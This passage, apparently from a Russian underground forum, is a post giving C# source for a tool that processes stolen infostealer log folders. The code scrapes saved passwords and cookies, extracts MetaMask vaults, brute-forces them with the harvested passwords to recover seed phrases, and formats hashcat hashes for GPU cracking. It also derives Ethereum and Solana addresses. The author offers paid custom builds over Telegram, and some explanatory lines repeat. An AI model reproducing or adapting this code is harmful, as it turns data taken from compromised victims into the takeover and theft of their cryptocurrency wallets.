var mnemonicStartIndex = brutedResult.IndexOf("{\"mnemonic", StringComparison.OrdinalIgnoreCase);
var mnemonicSubstring = brutedResult.Substring(mnemonicStartIndex);
var repairedJson = JsonUtils.RepairJson(mnemonicSubstring);
string? mnemonic = null;
try
{
mnemonic = JsonSerializer.Deserialize<MnemonicString>(repairedJson)?.Mnemonic;
}
catch
{
var converted = JsonSerializer.Deserialize<MnemonicBytes>(repairedJson)?.Mnemonic
.SelectMany(BitConverter.GetBytes)
.Where(x => x != 0)
.ToArray();
mnemonic = Encoding.UTF8.GetString(converted ?? new byte[]{ });
}
return new Decode()
{
Mnemonic = mnemonic ?? "",
Password = successPassword
};
}
/// <summary>
/// Класс если из дешифровки возвращается массив байтов
/// </summary>
private class MnemonicBytes
{
[JsonPropertyName("mnemonic")]
public int[] Mnemonic { get; set; }
}
/// <summary>
/// Класс если из дешифровки возвращается строка
/// </summary>
private class MnemonicString
{
[JsonPropertyName("mnemonic")]
public string Mnemonic { get; set; }
}
}
C#:
public abstract class ExtractorBase
{
protected bool IsNewFormat { get; set; }
public abstract Task<Vault?> ExtractData(string walletFile);
}
C#:
public class ComboExtractor : ExtractorBase
{
public override async Task<Vault?> ExtractData(string walletFile)
=> await new RegexExtractor().ExtractData(walletFile) ??
await new ParseExtractor().ExtractData(walletFile);
}
C#:
internal class ParseExtractor : ExtractorBase
{
public override async Task<Vault?> ExtractData(string textInFile)
{
var regexVault = Regex.Match(textInFile, "\"vault\"(.*)").Groups[1].Value;
if (regexVault.Contains("iterations"))
{
IsNewFormat = true;
}
var validJson = JsonUtils.RepairJson(regexVault); // <- Об этом чуть позже
var deserializedVault = JsonSerializer.Deserialize<Vault>(validJson);
if (deserializedVault != null)
deserializedVault.IsNewFormat = base.IsNewFormat;
return deserializedVault;
}
}
C#:
internal class RegexExtractor : ExtractorBase
{
/// <summary>
/// Константы ргулдярных вырежний
/// </summary>
private const string dataRegex = @"\\""data\\"":\\""([\+\/-9A-Za-z]*=*)";
private const string ivRegex = @",\\""iv\\"":\\""([\+\/-9A-Za-z]{10,40}=*)";
private const string saltRegex = @",\\""salt\\"":\\""([A-Za-z0-9+\/]{10,100}=*)\\""";
private const string itterationsRegex = @"{\\""iterations\\"":([0-9]+)}";
/// <summary>
/// Получить зашифрованное сообщение
/// </summary>
/// <param name="vaultText">Текст зашифрованного сообщения внутри *.log</param>
/// <returns></returns>
public override async Task<Vault?> ExtractData(string vaultText)
{
var dataValue = Regex.Match(vaultText, dataRegex).Groups[1].Value;
var ivValue = Regex.Match(vaultText, ivRegex).Groups[1].Value;
var saltValue = Regex.Match(vaultText, saltRegex).Groups[1].Value;
if (string.IsNullOrWhiteSpace(dataValue) ||
string.IsNullOrWhiteSpace(ivValue) ||
string.IsNullOrWhiteSpace(saltValue))
{
return null;
}
bool isNewFormat = false;
// Если iteration не найдено, то это старый формат
var itterationsMatch = Regex.Match(vaultText, itterationsRegex).Groups[1].Value;
if (!string.IsNullOrWhiteSpace(itterationsMatch))
{
isNewFormat = true;
}
var itterationValue = Int32.TryParse(itterationsMatch, out int result) ? result : 10000;
return new Vault()
{
Data = dataValue,
Salt = saltValue,
IV = ivValue,
IsNewFormat = isNewFormat,
KeyMetaData = new KeyMetaData()
{
Algoritm = "PBKDF2",
Params = new Params()
{
Itterrations = itterationValue
}
}
};
}
}
C#:
public class Decode
{
public string? Mnemonic { get; set; }
public string? Password { get; set; }
}
C#:
public class Vault
{
[JsonPropertyName("data")]
public string Data { get; set; }
[JsonPropertyName("iv")]
public string IV { get; set; }
[JsonPropertyName("salt")]
public string Salt { get; set; }
[JsonPropertyName("keyMetadata")]
public KeyMetaData KeyMetaData { get; set; } = new();
[JsonIgnore]
public bool IsNewFormat { get; set; } = true;
public string ToHashcat()
{
return IsNewFormat
? $"$metamask${KeyMetaData.Params.Itterrations}${Salt}${IV}${Data}"
: $"$metamask${Salt}${IV}${Data}";
}
public bool IsEmpty()
{
if (string.IsNullOrWhiteSpace(Data) ||
string.IsNullOrWhiteSpace(IV) ||
string.IsNullOrWhiteSpace(Salt))
{
return true;
}
return false;
}
public (byte[] Salt, byte[] Iv, byte[] Data) ToBytesTuple()
{
return (
Convert.FromBase64String(Salt ?? ""),
Convert.FromBase64String(IV ?? ""),
Convert.FromBase64String(Data ?? ""));
}
}
public class KeyMetaData
{
[JsonPropertyName("algorithm")]
public string Algoritm { get; set; } = "PBKDF2";
[JsonPropertyName("params")]
public Params Params { get; set; } = new();
}
public class Params
{
[JsonPropertyName("iterations")]
public int Itterrations { get; set; } = 10000;
}
C#:
public enum DecryptMode
{
CPU,
GPU
}
C#:
/// <summary>Настройки работы Metamask</summary>
public class MetamaskOptions
{
/// <summary>
/// Тип получения зашифрованной строки метамаск
/// REGEX - парсинг с помощью регулярного выражения
/// PARSE - парсинг с помощью последовательного поиска JSON
/// COMBO - первое, в случае ненахода второе
/// </summary>
public ParseMode ParseMode { get; set; } = ParseMode.COMBO;
/// <summary>
/// Тип расшифровки
/// CPU - на процессоре
/// GPU - на видеокарте (необходим HashCat)
/// </summary>
public DecryptMode DecryptMode { get; set; } = DecryptMode.CPU;
/// <summary>Глубина генерации адресов</summary>
public int DepthAddress { get; set; } = 10;
}
C#:
public enum ParseMode
{
REGEX,
PARSE,
COMBO
}
C#:
/// <summary>
/// Расшифровка Метамаск
/// </summary>
public class Metamask : BaseDecryptor.BaseDecryptor
{
private readonly MetamaskOptions _options;
public Metamask(MetamaskOptions options)
{
_options = options;
}
public override async Task<List<Decrypted>> DecryptWallet(string walletDirectory, IEnumerable<string> passwords)
{
var walletFiles = Directory.GetFiles(walletDirectory, "*", SearchOption.AllDirectories)
.Where(x => x.EndsWith(".log"))
.ToArray();
var decryptedWallets = new List<Decrypted>();
foreach (var walletFile in walletFiles)
{
var vault = await ExtractData(walletFile);
var hashCat = vault?.ToHashcat() ?? "";
var decryped = await Decrypt(vault, passwords);
var addresses = AddressGenerator.AddressGenerator.Generate(decryped?.Mnemonic, _options.DepthAddress)
.Select(x => new Address()
{
Hash = x.Hash
}).ToList();
decryptedWallets.Add(new Decrypted()
{
File = walletFile,
Hashcat = hashCat,
Password = decryped?.Password,
Mnemonic = decryped?.Mnemonic,
Addresses = addresses
});
}
return decryptedWallets;
}
/// <summary>
/// Метод расшифроки
/// </summary>
/// <param name="vault">Зашифрованные данны</param>
/// <param name="passwords">Массив паролей</param>
/// <returns></returns>
/// <exception cref="NotImplementedException"></exception>
private async Task<Decode?> Decrypt(Vault? vault, IEnumerable<string> passwords)
{
if (vault == null || vault.IsEmpty())
{
return null;
}
DecryptBase decrypter = _options.DecryptMode switch
{
DecryptMode.CPU => new DecryptCPU(),
DecryptMode.GPU => new DecryptGPU()
};
return await decrypter.Decrypt(vault, passwords);
}
/// <summary>
/// Экстракция vault из файла c кошельком
/// </summary>
/// <param name="walletFile"></param>
/// <returns></returns>
private async Task<Vault?> ExtractData(string walletFile)
{
var textInFile = await File.ReadAllTextAsync(walletFile);
if (!textInFile.Contains("\"vault\""))
{
return null;
}
ExtractorBase extractor = _options.ParseMode switch
{
ParseMode.REGEX => new RegexExtractor(),
ParseMode.PARSE => new ParseExtractor(),
ParseMode.COMBO => new ComboExtractor()
};
return await extractor.ExtractData(textInFile);
}
}
С декриптором закончили. А теперь самое главное. Как получить vault из log файла быстро, без СМС и регистарции
в ранее созданной папке Utils (CryptoFinder5 -> CryptoFinder5.Extentions -> Utils) создаем файл JsonUtils
Как работает этот метод? Он принимает строку, ищет начало json (а json начинается с { ) и ведет подсчет открытых и закрытых ковычек. Если оно равно, значит JSON будет 100% валидный
В старой реализации я переводил в строку каждую итерацию, но это крайне затратно в виду иммутабельности строк в C#
В старой реализации я переводил в строку каждую итерацию, но это крайне затратно в виду иммутабельности строк в C#
C#:
public static class JsonUtils
{
/// <summary>
/// Преобразовывает невалидную JSON строку в валидную путем
/// </summary>
/// <param name="invalidJson">Невалидный JSON</param>
/// <param name="finishLenth">Максимальная длинна</param>
/// <returns></returns>
public static string RepairJson(string invalidJson, uint finishLenth = UInt32.MaxValue)
{
int openedForging = 0;
int closedForging = 0;
// Первое вхождение в json
bool findedStart = false;
var stringBuilder = new StringBuilder();
for (int i = 0; i < finishLenth; i++)
{
// выполняем до первого вхождения
if (!findedStart && invalidJson[i] != '{')
{
continue;
}
switch (invalidJson[i])
{
case '{':
// Первое вхождение получили, выключаем проверку на вхождени
if (!findedStart) findedStart = true;
openedForging++;
stringBuilder.Append(invalidJson[i]);
break;
case '}':
closedForging++;
stringBuilder.Append(invalidJson[i]);
break;
// пропускает символ, он явно не валидный
case '\\':
break;
default:
stringBuilder.Append(invalidJson[i]);
break;
}
// Проходим цикл до тех пор, пока не получим
// одинаковое кол-во открывающих и закрывающих
// одинаковое кол-во гарантирует валидность JSON
if (openedForging == closedForging)
{
break;
}
}
return stringBuilder.ToString();
}
}
-----------------------------------------------------
Генератор адресов
-----------------------------------------------------
Я сделал 2 самых популярных ,которые у меня просили: Ethereum и Solana , для себя сделаю еще несколько разных, к примеру у меня есть генератор на Doge Coin
В Function создаем CryptoFinder5.AddressGenerator
Папка Models -> AddressModel.cs
Необходим только для того, чтобы разделять адреса. В идеале разделять через Enum, но и так пока что сойдет
C#:
public class AddressModel
{
public string Symbol { get; set; }
public string Hash { get; set; }
}
Простой статический класс, который будет дальше по цепочке передавать мнемонику и глубину , концентрировать внутри себя адреса и возвращать
C#:
public static class AddressGenerator
{
public static List<AddressModel> Generate(string? mnemonic, int depth = 10)
{
if (string.IsNullOrWhiteSpace(mnemonic))
{
return new List<AddressModel>();
}
var ethereum = Ethereum.GetAddresses(mnemonic, depth);
var solana = Solana.GetAddresses(mnemonic, depth);
var unionsAddressModels = ethereum
.Union(solana)
.ToList();
return unionsAddressModels;
}
}
Реализация получения адресов для Ethereum , исползовал библиотеку Nethereum.HdWallet
C#:
public static class Ethereum
{
public static List<AddressModel> GetAddresses(string mnemonic, int depth = 10)
=> new Wallet(mnemonic, "").GetAddresses(depth)
.Select(x => new AddressModel()
{
Hash = x,
Symbol = "ETH"
})
.ToList();
}
C#:
public static class Solana
{
public static List<AddressModel> GetAddresses(string mnemonic, int depth = 10)
{
var wallet = new Wallet(mnemonic);
var solanaList = new List<AddressModel>();
for (int i = 1; i < depth + 1; i++)
{
solanaList.Add(new AddressModel()
{
Hash = wallet.GetAccount(i).PublicKey,
Symbol = "SOL"
});
}
return solanaList;
}
}
Вот и все. Выходим на финишную прямую. Как оказалось нет ничего сложного. Просто поэтапно делаем каждый независимый модуль, а завтра объединим их все
Сейчас у нас есть много независимых библиотек и остается только объединить их в одну, максимально делегируя логику.
В Function создаем проект LogController это будет концентратор всех наших методов и реализаций. Все модули подключаем сюда и получаем на выходе вот такую штуку
Теперь финальный шрих. Создаем в Presetnation консольное(или любое другое приложение) и вместо того, чтобы использовать парсеры и прочее используем только методы 1 единственно класса и немногочисленные настройки
В Function создаем проект LogController это будет концентратор всех наших методов и реализаций. Все модули подключаем сюда и получаем на выходе вот такую штуку
Как видим мы не лазим по созданным библиотекам, а используем только 1 метод, который прописан в абстрактном классе, делегируя логику. А так же мы можем спокойно пользоваться опциями
C#:
public class LogController
{
private Parameters _parameters;
public LogController(Parameters parameters)
{
_parameters = parameters;
Prepare();
}
public void RenewParameter(Parameters parameters)
{
_parameters = parameters;
Prepare();
}
/// <summary>
/// Проверка на валидность параметров
/// </summary>
/// <exception cref="DirectoryNotFoundException"></exception>
private void Prepare()
{
if (!Directory.Exists(_parameters.Directory)) throw new DirectoryNotFoundException("Папка с логом не найдена");
}
/// <summary>
/// Получить пароли
/// </summary>
/// <param name="passwordScraperOption">Настройка парсера</param>
/// <returns></returns>
/// <exception cref="Exception"></exception>
public async Task<List<string>> GetPasswordsListFromLog()
{
PasswordScraperBase passwordScraperBase = _parameters.PasswordScraperOption switch
{
PasswordScraperOption.LOW => new PasswordScraperLowPower(),
PasswordScraperOption.MEDIUM => new PasswordScaperMediumPower(),
PasswordScraperOption.HIGH => new PasswordScraperHighPower(),
_ => throw new Exception("Не указан тип парсинга")
};
return await passwordScraperBase.GetPasswordsAsync(_parameters.Directory);
}
/// <summary>
/// Получить куки из лога
/// </summary>
/// <param name="directory">путь до лога</param>
/// <param name="targetBrowser"></param>
/// <returns></returns>
public async Task<List<Cookie>> GetCookiesFromLog(string targetBrowser = null)
{
var cookieScraperBase = new CookieScraperClassicMode();
return await cookieScraperBase.GetCookieList(_parameters.Directory, targetBrowser);
}
/// <summary>
/// Получить кошельки
/// </summary>
/// <returns></returns>
public async Task<List<Wallet>?> GetWalletsFromLog()
{
var walletScraper = new WalletScraperClassic();
var wallets = await walletScraper.GetWalletsList(_parameters.Directory);
return wallets;
}
/// <summary>
/// Попробововать расшифровать кошелек
/// </summary>
/// <param name="wallet"></param>
/// <param name="passwords"></param>
/// <returns></returns>
public async Task<List<Decrypted>> TryDecryptWallet(Wallet wallet, IEnumerable<string> passwords)
{
BaseDecryptor.BaseDecryptor? walletDecrypterBase = wallet.WalletType switch
{
WalletType.Metamask => new Metamask.Metamask(_parameters.MetamaskOptions),
_ => null
};
if (walletDecrypterBase == null)
{
return null;
}
return await walletDecrypterBase.DecryptWallet(wallet.WalletDirectory, passwords);
}
/// <summary>
/// Параметры запуска
/// </summary>
public class Parameters
{
/// <summary>
/// Путь до папки с логом
/// </summary>
public string Directory { get; set; }
/// <summary>
/// Тип получения паролей
/// LOW - только пароли из Password.txt строки Password:
/// MEDIUM - пароли из Password.txt все строки
/// HIGH - пароль из Password и Autofill все строки
/// </summary>
public PasswordScraperOption PasswordScraperOption { get; set; }
/// <summary>
/// Настройки декриптора метамаск
/// </summary>
public MetamaskOptions MetamaskOptions { get; set; } = new();
}
}
В результате мы не даем что то менять из вне. Логика закреплена и продумана, остается только выбрать настройки и запустить
C#:
var mainFolder = @"D:\Logs"; // <- да, это временное решение для теста, это меняется на чтение пути из консоли
var dirs = Directory.GetDirectories(mainFolder);
foreach (var dir in dirs)
{
var logController = new LogController(
new LogController.Parameters()
{
Directory = dir,
PasswordScraperOption = PasswordScraperOption.HIGH,
MetamaskOptions = new MetamaskOptions()
});
var wallets = await logController.GetWalletsFromLog();
if (wallets.IsNotEmpty())
{
foreach (var wallet in wallets)
{
var passwords = await logController.GetPasswordsListFromLog();
var decryptedWallets = await logController.TryDecryptWallet(wallet, passwords);
if (decryptedWallets != null)
{
foreach (var decrypted in decryptedWallets)
{
Console.WriteLine("File: " + decrypted?.File);
Console.WriteLine("Mnemonic: " + decrypted?.Mnemonic);
Console.WriteLine("Hashcat: " + decrypted?.Hashcat);
Console.WriteLine("Password: " + decrypted?.Password);
Console.WriteLine(new string('-', Console.WindowWidth));
Console.WriteLine();
}
}
}
}
}
Надеюсь данная статья будет полезна или поможет натолкнуть на мысль
Исходники в файле.
Я специально не стал выкладывать чек на баланс. Почему? Потому что много неопытных маслят захотят навариться на коде и запросто свистнут исходники на продажу. Я не жадный, но это не приятно.
Так же могу доработать софт под ваши нужны, за этим вопросом в ТГ: t.me/Skumbriaa
Вложения
Последнее редактирование модератором: